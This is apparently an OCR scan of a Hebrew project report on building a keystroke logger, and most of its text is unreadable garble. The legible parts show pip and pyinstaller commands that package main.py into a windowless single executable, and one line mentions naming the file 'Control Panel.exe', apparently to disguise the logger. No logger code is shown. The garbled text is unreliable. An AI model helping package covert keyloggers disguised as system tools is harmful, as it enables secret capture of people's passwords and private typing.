MMPON NN INMKN NNOXINT NIV MPON DY MPIINNN NYY IR NTYNND ISP e
.DY2Y9N DINAPN DIINNDN
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pyinstaller mysnNa (Executable) ny4n s8ap nypnn

Y 71 9951 N LASSIGN.exe-y Control Panel.exe : N30 »8p »v D> LPNINI*
NN NNY 9 (OPMI9N 91D GNNNN) NN TIP NN MY PRV TNY OX TWR ,NNIMND
AUNNYNY DN NNIN INIPY DINAPN

NNanN IWNX Python ¥1pn 0»p Na n»p na pyinstaller 1»190 NX PPNNY NNanN Yy .1
:DPNIOVN MYSNNA PN PINYND

BE C\Windows'\System32\cmd.exe

C:\Users\David\Desktop\KeyStroke Logger:pip install pyinstaller

£PRNZ PINYH T NNNN NP N2 01PN NPPPND RINTI NNPPI VPN DY NTIAYN NOPPN*

.Executable-n NX PpNNY »7521 N2 wnnwn 1P 100, MPMN NMI90NY INKRD .2

BN Ch\Windows\System32icmd.exe

C:\Users\David\DesktopiKeyStroke Lo

ger»pyinstaller --onefile -w main.py

=

DNN NNIX IMNX -NONTI main.py VMIPON X1P NP NN TPPNION NP o
.MXOMIN NN OIT) INSINA DIHIVN NN NN XDV N8I NDIPD

P21 pyinstaller 19902 VYN MPNNL PIYNY 1Y DAIVNID TIY MXID N ©

https://pyinstaller.readthedocs.io/en/stable/usage.html : Xan

.Spec NNYPON HYa MIDINN OV DY XY build-N NYP N NN PINNKD N ,MPNNN INNRD .3
.PATH ynmna 7981 9N dist 17 N2 XD N¥INN XY Mpnnn PATH-2 80 9uN

AMNAY NTYPHN NTIAYN NYPIN ,N8INN NP IN PIND 119 Nyd

63


https://pyinstaller.readthedocs.io/en/stable/usage.html

KeyStroke Logger P00 MY

8PH94

25 NMNYM N2 T ININND NPIANND NN AT NINX OIN N2 7PN VPNIAN PNAY
A5WY 9197 MIRY MYTN NPIPNA DY TINDY 0PN DY TIAYY 1IN , MY .0M O

N2 215011 NWIIN TR .OPMI90 YNYN) NXODY YN ININNA PNHD DNON MIN PRI NNIOINI
D) ,70N M PNPINYI IN D XX )Y PN NI TUN MOPND WIN NTYI INY MY NNMON
MNDON N2 PN .OPAMIAN DY TIY TIAYD KON KD NN I SN YNNP DNAY DN 1210
YY TIAYY I3 IN NN D 7P YD SNAVYN VPN 1PN VPN NYIN TIND ,NYT
JING TINPYET 2AMD NYD N DON MINDY PIIYV — 12 WPYND

TI2YY PXDVIN AN YAND) JAT TN DO DOVPNIAY WTPNY OIRTNL YTIN NN, TNYD
7PN XD NN 70PN 1P KD DT VP DY PRYN DN DD DY 12190 NNT 2OV ,DNOY
DYDINNN DX NPNIY PRYNND INIYN D 1N NI -1V 1A OINNRKND KD IWUN 21T Oy Ty
,DINND XD DN YW ITNYN NPIDYNN DINAY TN N2 PP D 1N 4RI ,IN1 MM MNID
D 1Y POV 1IN PIONY SN NN TRND NPV LPNIN OYN NIVN MYNPWN DY 253NN IN
MYPN MNPNN NNNRA DV DININ MD NN YIAP GN) 2200 NPIOOWI NPIPH NINDN MDD
ANNMPN 12WN) 115 0D N1

177NN NN YNINAY NNIND D ,VPNNN NYIN 12> NN YD, DDA PYIY YTV MIN
95552 191K ,)12°NN NMPN NXOTPR YIAYY AWNNDN YT 3710 D35 NTIN PN MIN NN
NN 2P .21-N NRHND OIND DX TINDD 7PNV NN NN KD DI TYHA N =TT TN
MINY DYV 252 TIHND DI NN, PYFTINN DIND YO INIPY () NIDIN Y TINdY DNP DNNN
DN ODY NINN NMHPNA MDINN YTIOY DY HINDND NNNNX VAN DN NNV NIND
DWW
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